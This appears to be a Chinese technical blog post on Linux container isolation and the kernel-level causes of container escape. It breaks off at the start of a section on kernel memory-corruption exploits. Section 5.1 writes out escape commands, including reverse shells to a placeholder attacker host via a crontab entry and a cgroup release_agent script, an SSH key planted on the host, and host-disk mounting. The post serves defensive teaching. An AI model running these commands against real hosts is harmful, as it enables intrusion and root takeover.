当前位置:首页>Linux>深入 Linux 内核:容器隔离的底层逻辑与逃逸本质

深入 Linux 内核:容器隔离的底层逻辑与逃逸本质

  • 2026-06-26 02:07:40
深入 Linux 内核:容器隔离的底层逻辑与逃逸本质

大家好,我是蟹老板~

“容器到底安不安全?”每当听到这问题,我只能说——容器用好了是个好东西,但用不好就是一台敞着门的保险柜

一、容器与虚拟机

搞懂容器安全之前,得先搞懂一个最基本的问题:容器和虚拟机到底差在哪

传统的虚拟化技术,比如 KVMVMware,它们在物理服务器上加了一层 Hypervisor,然后在上面跑完整的 Guest OS。每个虚拟机都有自己独立的内核,独立的驱动,独立的硬件抽象。

这意味着什么?意味着隔离是硬件级别的Intel VT-xAMD-V 这类虚拟化扩展,让虚拟机之间隔着的不只是软件,还有 CPU 自己提供的隔离能力。你要从一台虚拟机攻破 Hypervisor 去打另一台虚拟机,这难度,说实话,就算是大神级别的黑客也得费老鼻子劲。

容器呢?它走了完全不同的路子。

容器没有 Hypervisor 层。所有的容器共享同一个宿主机内核。容器里跑的那些进程,在宿主机上就是普通的进程,只不过被套上了一层“滤镜”,让它们以为自己在一个独立的环境里。

你看,这就是核心差异了。虚拟机的隔离靠的是硬件,容器的隔离靠的是内核机制——也就是软件逻辑。

这个差异决定了容器的攻击面天然就比虚拟机大。因为软件逻辑是可以被绕过的,可以被欺骗的,可以有 Bug 的。而硬件提供的隔离边界,想突破它需要的代价要大得多。

1.1 容器轻量化的本质

容器的轻量是从哪来的?

说白了,就是因为它不虚拟化硬件,不运行独立内核。你在容器里敲 ps aux 看到的那些进程,宿主机上一个 ps 命令全能看见。容器镜像里也没有内核文件,只有用户态的那些二进制和库。

这意味着启动一个容器,本质上就是启动一个被隔离的进程组。不需要引导内核,不需要初始化硬件,不需要做 BIOS 自检。快到什么程度?几十毫秒。虚拟机呢?几十秒起步。

这种共享内核的架构带来了极致的性能损耗——接近裸金属的水平。你不用像虚拟机那样为 CPU 虚拟化付出那 10% 到 20% 的性能代价,IO 路径也更短。

但是,凡事都有个但是。这种架构也是容器安全最大的隐患

共享内核意味着内核里的一个 Bug,可以同时影响宿主机和上面跑的所有容器。意味着某些内核全局状态,所有容器都能间接观测到甚至修改。意味着你在容器里搞事情,搞的其实是宿主机的内核。

1.2 容器安全的核心痛点

那容器到底有没有隔离能力?

有,而且不弱。Linux 内核为此准备了 Namespace 做资源视图隔离,Cgroup 做资源配额限制,Capabilities 做权限裁剪,Seccomp 做系统调用过滤。这些机制组合起来,能在大多数场景下提供足够的安全保障。

但问题是,这个隔离边界是不彻底的

怎么个不彻底法?我给你举几个例子。

/proc 文件系统里有大量内核全局信息,虽然部分内容在较新的内核中做了 Namespace 感知,但依然有很多信息是所有容器共享的。像 /proc/sysrq-trigger 这样的文件,在某些配置下能让你在容器里直接重启宿主机。

系统调用接口是全局的。虽然 Seccomp 能过滤系统调用,但一旦某个系统调用被允许,它操作的就是宿主机的内核。如果这个系统调用存在漏洞,那就可能导致权限提升。

设备文件如果被挂载进容器,比如 /dev/sda 这种块设备,那就等于把宿主机的磁盘直接交给了容器。

这就是我说的不彻底。容器的隔离就像一层纱窗——大部分蚊子进不来,但总有些小虫子能从缝隙里钻过去。更要命的是,如果纱窗本身有破洞,那防御力就归零了。

二、Linux容器隔离的核心

好了,我们来看看 Linux 到底给了我们哪些工具来构建容器的隔离环境。这些工具就是所谓的“内核基座”,容器运行时的各种隔离能力,本质上都是对这些内核机制的封装和组合。

2.1 Linux容器的四大核心隔离技术

容器的隔离不是由一个机制完成的,而是多个机制叠加起来形成的一层又一层的防线。这有点像洋葱模型,每一层负责不同的防护职责,但任何一层被突破,整体的防护能力就会大打折扣。

2.1.1 Namespace:资源视图隔离(逻辑隔离)

Namespace 是容器隔离的基础中的基础。没有它,你就看不到容器自己的进程列表、网络接口、文件系统挂载点。

工作方式就是给进程创建一个“平行宇宙”,让这个进程看到的系统资源是经过修改的、属于它自己的那份。比如说 PID Namespace,它让容器里的进程以为自己是 1 号进程,而在宿主机上它可能只是 PID 23942。容器里 ps 一下只能看到自己命名空间里的进程,宿主机上则能看到所有。

这个隔离是纯粹的逻辑隔离Linux 并没有为每个 Namespace 单独分配什么物理资源,只是在进程访问系统资源时,内核根据进程所属的 Namespace 去返回不同的视图。

听起来挺美好,但 Namespace 只能隔离那些内核做了“Namespace 感知”改造的资源。那些没做改造的全局资源,所有的 Namespace 都能看到。

比如说内核版本号,你在容器里读 /proc/version,得到的是宿主机的内核版本。很多内核参数也没有 Namespace 化,一个容器去改 /proc/sys/net/core/somaxconn,改的其实是全局的配置。

这不是 Bug,这是设计如此。但攻击者可以利用这些信息来做很多事情。比如通过内核版本号知道宿主机存在什么已知漏洞,然后定向攻击。

2.1.2 Cgroup:资源配额限制(物理资源隔离)

如果说 Namespace 解决的是“能看到什么”的问题,那 Cgroup 解决的是“能用多少”的问题。

Cgroup 把进程组织成层级结构,然后对这个层级里的进程设置资源使用上限。CPU、内存、IO、网络带宽,都能限制。

但很多人对 Cgroup 有个误解,以为它提供了资源隔离。其实 Cgroup 只做了限额,没有做隔离。这两者区别大了。

限额是说,你最多用多少。隔离是说,你用的和我用的是完全分开的,互相不影响。

Cgroup 的 CPU 限制,是通过 CFS 调度器的带宽控制实现的。你可以限制一个容器只能用 0.5 个核,但这 0.5 个核和别的容器用的 0.5 个核跑在同一个物理核上,它们之间没有硬件级别的隔离。这意味着什么?意味着侧信道攻击是可能的,意味着一个容器的 CPU 使用模式可能被另一个容器观测到。

内存也是类似。Cgroup 的 memory 子系统和内核的内存管理协同工作,当容器内存超出限制时触发 OOM。但这只是限制使用量,不是物理隔开。

打一个比方:Cgroup 就像你去吃自助餐,规定你只能拿三盘菜。但你还是和其他人共用同一排取餐台,你们之间的餐盘没有任何物理屏障。如果有人打喷嚏,你盘子里的菜也得遭殃。

2.1.3 Capabilities:内核权限精细化裁剪

传统的 Unix 权限模型其实挺糙的。要么你是 root,啥都能干;要么你是普通用户,啥都干不了。这种二元模型在容器场景下显然不够用。

Linux Capabilities 把 root 的超级权限拆成了几十个细粒度的能力位。你可以给一个进程 CAP_NET_BIND_SERVICE 让它绑定 1024 以下的端口,但不需要给它 CAP_SYS_ADMIN 这种能挂载文件系统的能力。

Docker 默认情况下会丢掉很多危险的 Capabilities,只保留十几个相对安全的。这样即使容器里的进程拿到 root 权限,它能做的破坏也有限。

听起来是不是很完美?但现实很骨感。

CAP_SYS_ADMIN 这个能力,被称为“准 root。它涵盖了太多操作,包括挂载文件系统、配置网络、操作内核模块等。很多应用为了正常运行,需要被赋予这个能力。一旦容器的 root 进程拥有 CAP_SYS_ADMIN,逃逸就只是时间问题。

还有 CAP_SYS_PTRACE,允许 ptrace 其他进程。如果在容器里赋予这个能力,攻击者可以 ptrace 宿主机上的进程,注入代码,完成逃逸。

CAP_NET_RAW 允许创建原始套接字,可以用来发动 ARP 欺骗等网络攻击,虽然不算直接逃逸,但在内网环境下危害极大。

所以 Capabilities 虽然是好东西,但配起来真得小心翼翼。给多了是漏洞,给少了应用报错,这个平衡非常难把握。

2.1.4 Seccomp-BPF:系统调用过滤隔离

Seccomp 是 Secure Computing Mode 的缩写,是内核提供的一个系统调用过滤框架。Seccomp-BPF 则允许你用 BPF 程序来定义哪些系统调用可以被执行,哪些不行。

Docker 默认启用了一个 Seccomp Profile,禁用了大概 44 个系统调用,包括 rebootkexec_load 这些明显不应该在容器里出现的东西。

BPF 程序的匹配是在内核里完成的,效率很高,而且可以做到非常细粒度的控制。比如说,你不仅可以根据系统调用号来过滤,还可以根据系统调用的参数来过滤。比如允许 ioctl,但只允许某些特定的命令字。

但 Seccomp 有个天生的局限:它只能做系统调用级别的过滤,不能做系统调用内部操作的过滤

什么意思呢?open 这个系统调用肯定是允许的,不然程序连文件都打不开。但如果攻击者用 open 去打开 /proc/sysrq-trigger 呢?Seccomp 管不了,因为 open 本身是合法的。Seccomp 只看你在门口拿了什么卡,你进门之后去了哪个房间,它不管。

而且,配置 Seccomp 规则是个技术活。一个应用可能用到几百个系统调用,你很难全部梳理清楚。漏了任何一个,都可能成为攻击者利用的通道。配得太严,应用跑不起来。配得太松,等于没配。

2.2 三种辅助隔离机制

这儿简单说一下:

  • • Rootfs 隔离chroot 或者 pivot_root,让容器看到的是伪装的根目录。
  • • 挂载权限:只给只读或者特定目录挂载,避免宿主敏感目录泄露。
  • • UID 映射User Namespace 里,容器 root 可以映射成宿主普通用户,降低风险。

2.3 容器完整启动链路

说了这么多机制,它们是怎么协同工作的呢?我带你走一遍容器启动的完整链路。

当你敲下 docker run 的时候,Docker Client 把请求发给 Docker DaemonDocker Daemon 调用 ContainerdContainerd 再调用 runc

runc 做的事情,就是把这些隔离机制一步步搭建起来。

  1. 1. 首先设置 Namespacerunc 调用 clone() 或 unshare() 系统调用,创建新的 Namespace。这一步建立了 PIDMountNetworkUTSIPC 等命名空间。进程从这时候开始,就有了自己的独立视图。
  2. 2. 然后配置 Cgrouprunc 根据你设置的 --memory--cpus 参数,在 Cgroup 文件系统中创建对应的目录,把容器进程的 PID 写进去。从此这个进程能用的资源就被限制了。
  3. 3. 接着设置 Rootfsrunc 调用 pivot_root 系统调用,把容器的根文件系统切换成镜像提供的文件系统。原来能看到的宿主机根目录,现在看不到了。
  4. 4. Capabilities 裁剪。runc 根据配置,把容器进程的 Capabilities 集合设置好,去掉那些危险的 Capabilities
  5. 5. Seccomp 规则加载。把配置好的 BPF 程序加载到内核,过滤后续的系统调用。

这一切做完之后,容器里的 1 号进程才开始执行。这个进程看到的是一个被精心构造过的环境,这个环境看起来像一个独立的系统,但它本质上还是跑在宿主机内核上的一个普通进程。

这就是容器隔离的全貌。说复杂也复杂,说简单也简单——就是用各种软件机制给进程织了一个茧,让它以为自己活在另一个世界

那这个茧牢不牢?下一节我们讲到。

三、容器隔离底层内核逻辑与边界局限

容器隔离在外面看起来挺美——docker pskubectl exec,一切井然有序。但深入内核,你会发现,这些“隔离”其实是逻辑上的幻觉。内核在设计这些机制的时候,根本就不是为了全面虚拟化而生的,它们只是在原有的宏内核架构上打的补丁。

3.1 Namespace六大子系统隔离

Linux 目前提供了八种 Namespace,但容器中最核心的是六种:PIDUTSIPCMountNetworkUser

3.1.1 PID、UTS、IPC、Mount基础隔离逻辑

PID Namespace 实现了进程 ID 的隔离。容器里的 1 号进程在宿主机上可能是任意 PID。这个机制的实现原理是,内核为每个 PID Namespace 维护了一个独立的 PID 分配器和 PID 到进程的映射表。

听起来隔离得很彻底对吧?但有个细节。/proc 文件系统中的很多信息并不是完全 Namespace 感知的。比如说,你在容器里 cat /proc/meminfo,读到的是宿主机的内存信息,不是容器的。因为 /proc/meminfo 没有做 Namespace 化,它反映的是内核看到的全局状态。

UTS Namespace 隔离主机名和域名。这个比较简单,容器里改 hostname 不影响宿主机。但这个 Namespace 也是存在感最弱的一个,因为攻击者改了你的 hostname 能干啥?啥也干不了。

IPC Namespace 隔离 System V IPC 和 POSIX 消息队列。容器里的进程不能用共享内存或消息队列跟宿主机上的进程通信。但这里有个问题,很多应用不用 IPC 通信,而是用网络套接字。所以这个隔离在很多场景下形同虚设。

Mount Namespace 隔离文件系统挂载点。你在容器里 mount 一个东西,宿主机上 mount 命令看不到。反过来,宿主机上新挂载的文件系统,已经启动的容器也看不到。

Mount Namespace 有个非常关键的属性:挂载传播。如果你在挂载时没有正确设置传播类型,宿主机上的挂载事件可能会传播进容器。这就是很多挂载相关逃逸的根源。

默认情况下,Docker 挂载宿主机目录时使用的是 rprivate 传播类型,比较安全。但如果你手动处理挂载或者使用一些第三方的存储插件,传播类型可能就不那么安全了。

3.1.2 Network网络隔离的内核实现与边界

Network Namespace 提供了完整的网络栈隔离。每个 Network Namespace 有自己的网卡、路由表、iptables 规则、socket

这怎么做到的呢?内核把所有网络相关的数据结构都加了 Namespace 标签。当进程操作网络资源时,内核根据进程所属的 Network Namespace 去查找和修改对应的数据结构。

Docker 默认的 bridge 模式下,容器的 Network Namespace 通过 veth pair 连接到宿主机的 docker0 网桥。veth pair 是一个虚拟的以太网设备对,一头在容器里,一头在宿主机上,数据包从一头进去就从另一头出来。

这种模式的隔离性还不错,但也有边界。

  • • 首先,容器和宿主机共享同一个内核网络栈的代码路径。如果内核的网络模块有漏洞,比如 TCP 协议栈的漏洞,容器里触发的攻击同样能影响宿主机。
  • • 其次,Network Namespace 不能隔离物理网络资源。所有容器共享宿主机的物理网卡带宽。虽然可以用 tc 做流量整形,但那只是限制,不是隔离。一个容器如果发动 DDoS 攻击,打满的是宿主机的网卡,其他容器也跟着遭殃。
  • • 还有就是,Network Namespace 隔离了应用层的网络视图,但没有隔离内核里的网络全局配置。/proc/sys/net/ 下的很多参数是全局的,改了对所有 Network Namespace 生效。

3.1.3 User Namespace UID/GID映射隔离与权限漏洞

User Namespace 是我觉得最强大但也是最复杂的一个 Namespace。它可以把容器里的 UID 映射成宿主机上的不同 UID

这个映射是怎么工作的?内核维护了一个 UID/GID 映射表。当容器里的进程尝试做一个需要权限的操作时,内核先检查这个操作关联的 UID 在宿主机上对应的是什么 UID,然后用宿主机的 UID 去做权限判断。

举个例子。容器里有一个 UID 0root)的进程,映射到宿主机上变成了 UID 100000。这个进程尝试 mount 文件系统。内核一看,宿主机 UID 是 100000,没有 CAP_SYS_ADMIN 能力,拒绝。

这个设计在理论上非常优雅。但在实践中,它被各种历史包袱拖累得很惨。

最大的问题就是文件系统权限。容器镜像里的文件,它们的 owner 是容器内的 UID。但容器运行时,这些文件在宿主机文件系统上是以真实 UID 存在的。如果你没有正确设置映射关系,容器里的 root 可能打不开容器里的某些文件,因为文件在宿主机上的 owner 是一个普通用户。

3.1.4 Namespace核心局限:内核全局状态无法隔离

讲完各个 Namespace,我要说一个核心观点:Namespace 最大的局限,不是某个 Namespace 实现得不好,而是 Namespace 这种隔离模型本身就有天花板

Namespace 只能隔离那些被明确设计为支持 Namespace 化的资源。Linux 内核是一个巨型代码库,里面有大量的全局状态、全局变量、全局接口,它们没有被 Namespace 化,也不可能全部被 Namespace 化。

  • • /proc/sysrq-trigger 可以让你在容器里重启宿主机。
  • • /proc/sys/kernel/ 下的大量参数是全局的。
  • • /sys/kernel/ 下的很多信息是所有容器共享的。
  • • 内核日志缓冲区是全局的,一个容器里的内核错误会打印在所有容器的 dmesg 里。

还有一些更隐蔽的全局状态,比如内核的熵池,所有容器共享。一个容器大量消耗随机数,会影响到其他容器生成密钥的随机性。内核的 slab 分配器状态是全局的,可以通过观测 slab 信息来推断其他容器的活动。

这些问题不是 Bug,它们本质上是“Namespace 模型”本身的设计选择。Namespace 不是一个安全沙箱,它是一个资源视图隔离工具。它从来没被设计成能抵御恶意攻击者的东西。

3.2 Cgroup资源隔离

Cgroup 在容器隔离中负责的是资源管控,不是安全隔离。这是很多人的认知盲区,也是大量逃逸和侧信道攻击的入口。

3.2.1 Cgroup层级架构与资源管控机制

Cgroup 有两个版本,v1 和 v2v1 的架构比较松散,每个子系统有自己独立的层级结构。v2 统一了层级结构,所有子系统挂在同一个树下面。目前生产环境 v1 和 v2 都在用,Kubernetes 从 1.25 开始默认使用 v2

Cgroup 的资源控制是通过在内核关键路径上插入检查点来实现的。比如 CPU 调度器在选择下一个进程运行时,会检查该进程所在的 Cgroup 是否超出了 CPU 配额。内存分配时,会检查 Cgroup 的内存使用是否达到上限。

这些检查点分布在调度器代码、内存管理代码、块设备驱动代码等各个地方。只要有遗漏,就会产生限额不准的问题。

3.2.2 仅限流不隔离:Cgroup无安全隔离能力的本质

再强调一遍,Cgroup 只做限流,不做隔离。

  • • CPUCgroup:通过 CFS 的带宽控制限制 CPU 使用,但容器和其他容器跑在同一个物理核上,共享 L1L2L3 缓存。这意味着缓存侧信道攻击是可行的。攻击者在另一个容器里通过精确测量缓存访问延迟,可以推断出目标容器正在做什么计算,甚至提取出密钥。
  • • 内存 Cgroup:限制内存使用量,但所有容器的内存都映射到同一块物理内存上。虽然页表提供的虚拟内存机制确保了一个容器不能直接读写另一个容器的内存,但通过旁路攻击,比如利用内存去重(KSM)的行为差异,可以获取跨容器的信息泄露。
  • • 块设备 IO 的 Cgroup:限制 IOPS 和带宽,但磁盘的物理磁头只有一个(或者 SSD 的通道就那么几条),一个容器的大量 IO 操作会物理上影响其他容器的 IO 性能。

这就是我说的“无安全隔离能力”。Cgroup 可以防止一个容器用光所有资源导致别的容器饿死,但无法防止一个容器通过侧信道窃取另一个容器的信息

3.3 权限与系统调用隔离的底层约束漏洞

Capabilities 和 Seccomp 是容器安全的最后两道防线。但这两道防线都有自己的盲区。

3.3.1 Capabilities权限放开的安全风险

Docker 默认给容器保留了 14 种 Capabilities(不同版本略有出入)。这 14 种是经过精简的,去掉了 CAP_SYS_ADMIN 这种高危能力。

但这个默认配置有两个问题。

第一,有些非常常用的应用需要额外的 CapabilitiesNginx 需要 CAP_NET_BIND_SERVICE 绑定 80 端口。很多数据库需要 CAP_SYS_NICE 调整调度优先级。如果你不给他们这些能力,应用跑不起来。给了,攻击面就扩大了。

第二,有些看起来无害的 Capabilities,在特定条件下可以被利用。

  • • CAP_SYS_PTRACE 允许 ptrace,如果容器能 ptrace 宿主机上的进程(需要先突破 PID Namespace 的隔离),就能注入恶意代码。
  • • CAP_DAC_READ_SEARCH 允许绕过文件和目录的读权限检查,配合挂载的宿主机目录可以读取敏感信息。

更可怕的是 CAP_SYS_ADMIN这个能力几乎等于 root。能挂载文件系统,能配置网络,能加载内核模块。如果一个容器有 CAP_SYS_ADMIN 并且是 root,逃逸的难度就降低到了“找对命令”的程度。

执行 mount -t cgroup -o memory cgroup /tmp/cgrp 创建一个新的 cgroup 挂载点,然后利用 release_agent 机制完成逃逸——这个路径在拥有 CAP_SYS_ADMIN 的容器里是一马平川的。

3.3.2 Seccomp规则绕过的内核原理

Seccomp 在做系统调用过滤,听起来很安全。但它的过滤粒度是系统调用级别的,这就产生了致命缺陷。

很多系统调用功能强大,攻击面很广。ioctl 这个系统调用,光网络相关的命令字就有几十个。setsockopt 同样功能繁多。Seccomp 很难对这些系统调用的参数做精细过滤,一方面是因为参数的可能性太多,另一方面是因为做参数过滤需要的 BPF 程序会很复杂,影响性能。

这就意味着,一旦某个被允许的系统调用存在内核漏洞,攻击者就可以通过它来触发漏洞Seccomp 帮不上任何忙,因为对它来说,这是“合法”的系统调用。

举个真实的例子。2017 年有一个内核漏洞(CVE-2017-7308),存在于 AF_PACKET 套接字的处理代码中,可以被用来本地提权。AF_PACKET 套接字的创建需要 CAP_NET_RAW 能力,在默认的 Docker 配置中,这个能力是被授予的。这意味着如果攻击者知道这个漏洞,他可以在默认配置的容器中利用这个漏洞提权逃逸。

Seccomp 面对这种情况是无能为力的。因为创建套接字、绑定协议族这些操作,都是合法的系统调用。Seccomp 看到的是“正常行为”。

这也是为什么越来越多的安全方案采用更激进的方式,比如用 ptrace 拦截所有系统调用进行参数校验,或者干脆用 KVM 跑容器(Kata Containers 那种),因为只有在更底层的隔离中,才有机会做更细粒度的控制。

四、容器逃逸的核心本质与底层

前面三章讲完了容器隔离的原理和局限,从这一章开始,我们正式进入“容器逃逸”这个主题。

很多人只看到漏洞表面,比如挂载目录逃逸、DirtyCOW 提权,但底层逻辑才真正决定逃逸可能性

4.1 容器逃逸的本质

如果把容器逃逸的各种技术细节剥离开,它的本质可以归纳成三句话。

4.1.1 本质一:单内核架构下的全局资源共享漏洞

所有的容器共享一个内核。这是容器逃逸能发生的最根本原因。

虚拟机的逃逸,需要突破 Hypervisor 的隔离,需要找到虚拟化层的漏洞,或者利用硬件虚拟化的缺陷。这个难度非常大,因为 Hypervisor 的代码量相对较小(相比于 Linux 内核的几千万行),而且经过多年的安全审计,漏洞密度已经很低了。

容器的逃逸,只需要突破内核的隔离机制。这个难度比虚拟机逃逸低了好几个数量级。因为 Linux 内核太巨大了,几千万行代码,大量陈年代码,持续新增的特性,不断的重构——这不可能没有漏洞。

而且因为共享内核,一个内核漏洞可以被宿主机上的任何一个容器触发。攻击者不需要攻破任何东西,他只需要在容器里运行一个精心构造的程序,这个程序利用内核漏洞获得了宿主机权限。就这么简单。

4.1.2 本质二:内核隔离机制的软隔离属性

NamespaceCgroupCapabilitiesSeccomp——这些机制有一个共同点:它们都是软件定义的逻辑隔离,不是硬件强制的物理隔离

软件隔离意味着隔离的有效性完全取决于代码的正确性。如果代码有 Bug,隔离就被打破了。比如 Namespace 的代码里有一个判断条件写错了,该隔离的资源没隔离好。比如 Capabilities 的检查函数里漏掉了一个调用点,该拦截的操作放行了。

而且软件隔离通常无法抵御侧信道攻击。因为侧信道利用的不是隔离机制本身的漏洞,而是物理资源的共享属性。两个容器的进程跑在同一个物理核上,它们之间的缓存侧信道几乎无法根除,除非你给每个容器绑定独立的核心——这种做法显然不现实。

4.1.3 本质三:运行时配置与内核参数的信任边界滥用

这是最让我头疼的一个本质原因。因为这不是技术问题,是人的问题。

容器的隔离机制设计上假设管理员会正确配置。但现实是,大部分管理员怎么方便怎么来。--privileged 一加,什么安全问题都不存在了——因为整个隔离都被关掉了。目录随便挂载,/var/run/docker.sock 说挂就挂,等于把 Docker 的控制权交给了容器。

这些配置看起来是“信任”容器里的应用。但实际上,容器里的应用不一定值得信任,或者应用本身可能已经被攻击者控制了。你信任了一个不该信任的东西,这种信任边界滥用,是大量容器逃逸事件的根本原因

4.2 容器逃逸的核心成因

容器逃逸的成因五花八门,但我习惯把它们分成三类。这个分类方式不是我发明的,不过我觉得挺实用。

4.2.1 内核层

这一类是最底层的,也是最通用的。任何容器,不管你怎么配置,只要内核存在漏洞,理论上都有被逃逸的风险

内核漏洞的种类很多。内存损坏漏洞(如缓冲区溢出、Use-After-Free)可以导致任意代码执行。竞争条件(Race Condition)可以导致权限检查被绕过。逻辑漏洞可以导致原本不该被访问的资源被访问。

DirtyCOWCVE-2016-5195)就是最经典的例子。这个漏洞存在于内核的内存管理子系统中,通过利用 Copy-On-Write 机制的竞争条件,可以让一个普通用户获得对只读文件的写权限。在容器场景下,攻击者可以利用这个漏洞修改宿主机上的 SUID 程序,然后执行它获得 root 权限,完成逃逸。

这类逃逸最可怕的地方在于,它完全不受容器配置的影响。你 Seccomp 配得再好,ptrace 系统调用在 Seccomp 白名单里,DirtyCOW 就能用。你 Capabilities 裁剪得再严格,DirtyCOW 不需要任何特殊能力,一个普通用户就能触发。

4.2.2 运行时层

这一类的逃逸是因为容器运行时的配置给了攻击者额外的能力,使得逃逸成为可能。

特权容器 --privileged 是最典型的例子。加了 --privileged,等于把所有 Capabilities 都给了容器,而且禁用了 Seccomp,放开了设备访问限制。这个时候的容器,和宿主机只隔了一层薄纱,一捅就破。

容器的 1 号进程在特权模式下,可以直接访问宿主机的所有设备。/dev/sda 直接就是宿主机的磁盘。mount /dev/sda /mnt,宿主机根文件系统就挂载进来了。改个 crontab,写个 SSH key,种个后门——一切都是分分钟的事。

还有一些不那么明显但同样危险的配置。挂载 Docker Socket 进容器,等于把容器引擎的控制权交给了容器。容器里运行 docker run --privileged -v /:/host alpine,一个全新的特权容器就起来了,把宿主机根目录挂载进去了。这个操作太经典了,以至于现在很多安全培训把它作为反面教材的第一课。

4.2.3 业务层

这一类是开发者和运维人员在日常工作中引入的风险,往往和业务需求绑在一起。

  • • “我需要把日志写到宿主机上。”——挂载 /var/log 进容器。但挂载的是宿主机的 /var/log,容器里如果有写权限,它就可以覆盖宿主机上的日志文件。如果有读取权限,它就能看到宿主机上的所有日志。
  • • “我需要在容器里操作宿主机的网络。”——--network=host。这下好,容器和宿主机共享网络命名空间,容器里直接监听宿主机的端口,直接访问宿主机的网络资源。Network Namespace 的隔离完全被跳过了。
  • • “我需要访问宿主机的硬件设备。”——--device=/dev/sda。直接把块设备映射进容器,等于把物理磁盘交给了容器。

这些需求在业务上可能确实是必要的。但很多时候,有更安全的替代方案。日志收集可以用 Sidecar 容器,或者让应用直接输出到 stdout/stderr 由容器运行时收集。网络操作可以用端口映射而不是 --host 网络。设备访问可以通过特定的内核模块或 API 来做,而不是直接把设备文件给容器。

但替代方案往往更复杂,需要更多的设计和开发工作。而直接映射,一行命令就搞定了。所以在“快”和“安全”之间,大量团队选择了“快”。

4.3 容器逃逸的完整链路模型

把上面的分析串起来,可以抽象出一个容器逃逸的完整链路模型。

  1. 1. 第一步,攻击者获得容器内的代码执行能力。这可以是通过应用漏洞(RCE)、供应链攻击(恶意镜像)、或者合法访问(内鬼)。这一步是“进入容器”。
  2. 2. 第二步,攻击者扩大自己在容器内的权限。如果应用以普通用户运行,攻击者会尝试提权到 root。这可以通过 SUID 程序、sudo 配置不当、或者内核漏洞来实现。如果应用本身就是 root,这步跳过。
  3. 3. 第三步,攻击者探察容器的隔离配置。有没有挂载宿主机目录?有没有特殊 Capabilities?是不是特权容器?内核版本多少?这一步是“收集情报”。
  4. 4. 第四步,根据探察结果选择逃逸路径。
    • • 如果有特权模式或 CAP_SYS_ADMIN:利用 Cgroup release_agent、挂载宿主机设备等直接逃逸。
    • • 如果挂载了宿主机目录且有写权限:往宿主机上写 crontabSSH key、或者替换可执行文件。
    • • 如果挂载了 Docker Socket:通过 Docker API 创建新的特权容器。
    • • 如果内核存在已知漏洞:利用内核漏洞提权逃逸。
    • • 如果以上都没有:尝试侧信道攻击、DoS 攻击等,虽然不能直接逃逸,但可以造成破坏。
  5. 5. 第五步,执行逃逸。获得宿主机上的代码执行能力。
  6. 6. 第六步,持久化和横向移动。在宿主机上种后门、窃取凭证、扫描内网、攻击集群中的其他节点。

这个链路模型清晰地展示了容器逃逸的各个阶段。防御要做的事情,就是在链路的每一环设置障碍,让攻击者的每一步都变得困难。你不需要挡住所有的攻击,只需要让它变得足够难,攻击成本足够高,大部分攻击者就会放弃。

五、主流容器逃逸场景与内核原理剖析

前面讲了理论,这一节我们来看实际的逃逸场景。

5.1 配置型逃逸

配置型逃逸是我见过最频繁的逃逸类型。它不需要任何高级技术,利用的基本都是“配错了”这个事实。

5.1.1 挂载宿主机目录与设备文件逃逸

这个逃逸的核心逻辑就一句话:如果宿主机目录被挂载进容器,容器里的进程可以修改宿主机上的文件,而这些文件可能会以宿主机上的高权限被执行

最常见的一种利用方式是写 crontab

# 假设宿主机/var/spool/cron被挂载进了容器的/host_cronecho '* * * * * root bash -c "bash -i >& /dev/tcp/attacker_ip/8888 0>&1"' > /host_cron/crontabs/root

宿主机上的 crond 会读取这个文件并执行其中的命令,反弹一个 shell 到攻击者的机器上。这个 shell 是宿主机上的 root 权限。

如果挂载的是宿主机的根目录 /,那就更简单了。

# 往宿主机上写SSH公钥mkdir -p /host/root/.sshecho "攻击者的SSH公钥" > /host/root/.ssh/authorized_keys

然后攻击者直接 SSH 登录宿主机,root 权限到手。

还有一种更隐蔽的方式是替换宿主机上的可执行文件。如果挂载了 /usr/bin 或者 /bin,可以把 lsps 这些常用命令替换成带后门的版本。管理员在宿主机上执行这些命令时,后门就被激活了。

设备文件挂载的逃逸更直接。

# 把宿主机磁盘挂载进来mount /dev/sda1 /mnt# 然后就可以读写整个宿主机的文件系统了chroot /mnt

在 chroot 到宿主机根目录之后,你就相当于直接在操作宿主机了。改密码、加用户、装后门,随心所欲。

5.1.2 特权容器权限溢出逃逸

--privileged 是所有容器安全问题的放大器。它做的事情包括:

  • • 赋予所有 Capabilities
  • • 解除所有设备访问限制
  • • 禁用 Seccomp 过滤
  • • 关闭 AppArmor/SELinux 限制

在这种情况下逃逸,有太多种方法。我说两个比较经典的。

方法一:利用 Cgroup 的 release_agent

# 在容器里挂载cgroupmount -t cgroup -o memory cgroup /tmp/cgrpmkdir /tmp/cgrp/x# 设置release_agentecho '#!/bin/sh' > /cmdecho "bash -i >& /dev/tcp/attacker/8888 0>&1" >> /cmdchmod +x /cmd# 把release_agent指向我们的脚本echo "/cmd" > /tmp/cgrp/release_agent# 触发release_agent执行echo $$ > /tmp/cgrp/x/cgroup.procs

当 x 这个 cgroup 里的最后一个进程退出时,release_agent 脚本会在宿主机的命名空间里以 root 权限执行。我们就获得了宿主机的反弹 shell

方法二:直接操作宿主机设备。

# 查看宿主机的块设备fdisk -l# 把宿主机的根分区挂载进来mount /dev/sda1 /mnt# 现在是宿主机根文件系统了ls /mnt

有了宿主机的文件系统访问权,逃逸就完成了。可以往 /mnt/etc/crontab 里写定时任务,可以修改 /mnt/etc/shadow,可以把 /mnt/bin/bash 替换成后门程序。

5.1.3 Capabilities超额权限导致的提权逃逸

不是所有的逃逸都需要 --privileged。某些 Capabilities 本身就足够危险,在特定条件下可以直接导致逃逸。

  • • CAP_SYS_ADMIN 就是最危险的一个。拥有这个能力的容器进程,可以执行大量特权操作。结合 Cgroup 的 release_agent 机制,逃逸路径和特权容器一样直接。
  • • CAP_SYS_PTRACE 允许 ptrace 任何进程。如果能突破 PID Namespace 的限制(比如使用了 --pid=host),就可以 ptrace 宿主机上的进程,向其中注入 shellcode
    # 找到宿主机上的一个root进程ps aux | grep root# 用ptrace注入代码# (这里需要写一个注入工具,具体代码比较长,核心是使用ptrace系统调用)
  • • CAP_NET_RAW 允许创建原始套接字。这看起来只是网络操作的能力,但在某些网络配置下,它可以被用来发动 ARP 欺骗攻击,劫持宿主机的网络流量。
  • • CAP_SYS_MODULE 允许加载内核模块。这直接就是给了攻击者往内核里加载任意代码的能力。逃逸?直接在内核里运行代码了,还谈什么逃逸。

所以,在配置容器 Capabilities 的时候,能不给就尽量不给。多给一个看起来不起眼的能力,可能就给攻击者多提供了一条逃逸的路径。

5.2 内核漏洞型逃逸

内核漏洞型逃逸不依赖配置错误,它直接攻击内核本身。这种逃逸的威力巨大,而且很难通过配置来防御。

5.2.1 内核内存损坏漏洞逃逸原理

